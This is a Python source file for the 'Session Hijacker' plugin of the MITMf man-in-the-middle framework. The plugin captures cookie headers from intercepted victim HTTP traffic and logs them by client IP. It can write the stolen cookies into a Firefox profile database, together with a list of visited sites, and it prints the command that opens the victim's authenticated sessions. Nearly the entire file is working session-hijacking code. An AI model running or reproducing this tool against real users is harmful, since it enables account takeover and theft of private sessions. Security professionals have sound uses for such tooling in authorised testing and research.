MITMf/plugins/SessionHijacker.py
byt3bl33d3r cded43f0c6 misc
2014-11-29 17:12:21 +01:00

120 lines
4.5 KiB
Python

#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
from plugins.plugin import Plugin
from libs.publicsuffix import PublicSuffixList
from urlparse import urlparse
import os
import sys
import time
import logging
import sqlite3
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
desc = "Performs session hijacking attacks against clients"
implements = ["cleanHeaders"] #["handleHeader"]
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.psl = PublicSuffixList()
self.firefox = options.firefox
self.save_dir = "./logs"
self.seen_hosts = {}
self.sql_conns = {}
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
#SQLite version 3.7.0 or later. You won't be able to read the database files
#with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted
#or is not a database" message.
sqlv = sqlite3.sqlite_version.split('.')
if (sqlv[0] <3 or sqlv[1] < 7):
sys.exit("[-] sqlite3 version 3.7 or greater required")
if not os.path.exists("./logs"):
os.makedirs("./logs")
print "[*] Session Hijacker plugin online"
def cleanHeaders(self, request): # Client => Server
headers = request.getAllHeaders().copy()
client_ip = request.getClientIP()
if 'cookie' in headers:
if self.firefox:
url = "http://" + headers['host'] + request.getPathFromUri()
for cookie in headers['cookie'].split(';'):
eq = cookie.find("=")
cname = str(cookie)[0:eq].strip()
cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
else:
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
#def handleHeader(self, request, key, value): # Server => Client
# if 'set-cookie' in request.client.headers:
# cookie = request.client.headers['set-cookie']
# #host = request.client.headers['host'] #wtf????
# message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie)
# if self.urlMonitor.isClientLogging() is True:
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
# else:
# logging.info(message)
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
session_dir=self.save_dir + "/" + ip
cookie_file=session_dir +'/cookies.sqlite'
cookie_file_exists = os.path.exists(cookie_file)
if (ip not in (self.sql_conns and os.listdir("./logs"))):
try:
if not os.path.exists(session_dir):
os.makedirs(session_dir)
db = sqlite3.connect(cookie_file, isolation_level=None)
self.sql_conns[ip] = db.cursor()
if not cookie_file_exists:
self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))")
self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)")
except Exception, e:
print str(e)
scheme = urlparse(url).scheme
scheme = (urlparse(url).scheme)
basedomain = self.psl.get_public_suffix(host)
address = urlparse(url).hostname
short_url = scheme + "://"+ address
log = open(session_dir + '/visited.html','a')
if (ip not in self.seen_hosts):
self.seen_hosts[ip] = {}
log.write(self.html_header)
if (address not in self.seen_hosts[ip]):
self.seen_hosts[ip][address] = 1
log.write("\n<br>\n<a href='%s'>%s</a>" %(short_url, address))
log.close()
if address == basedomain:
address = "." + address
expire_date = 2000000000 #Year2033
now = int(time.time()) - 600
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
logging.info("%s << Inserted cookie into firefox db" % ip)
def add_options(self, options):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
def finish(self):
if self.firefox:
print "\n[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>/visited.html'"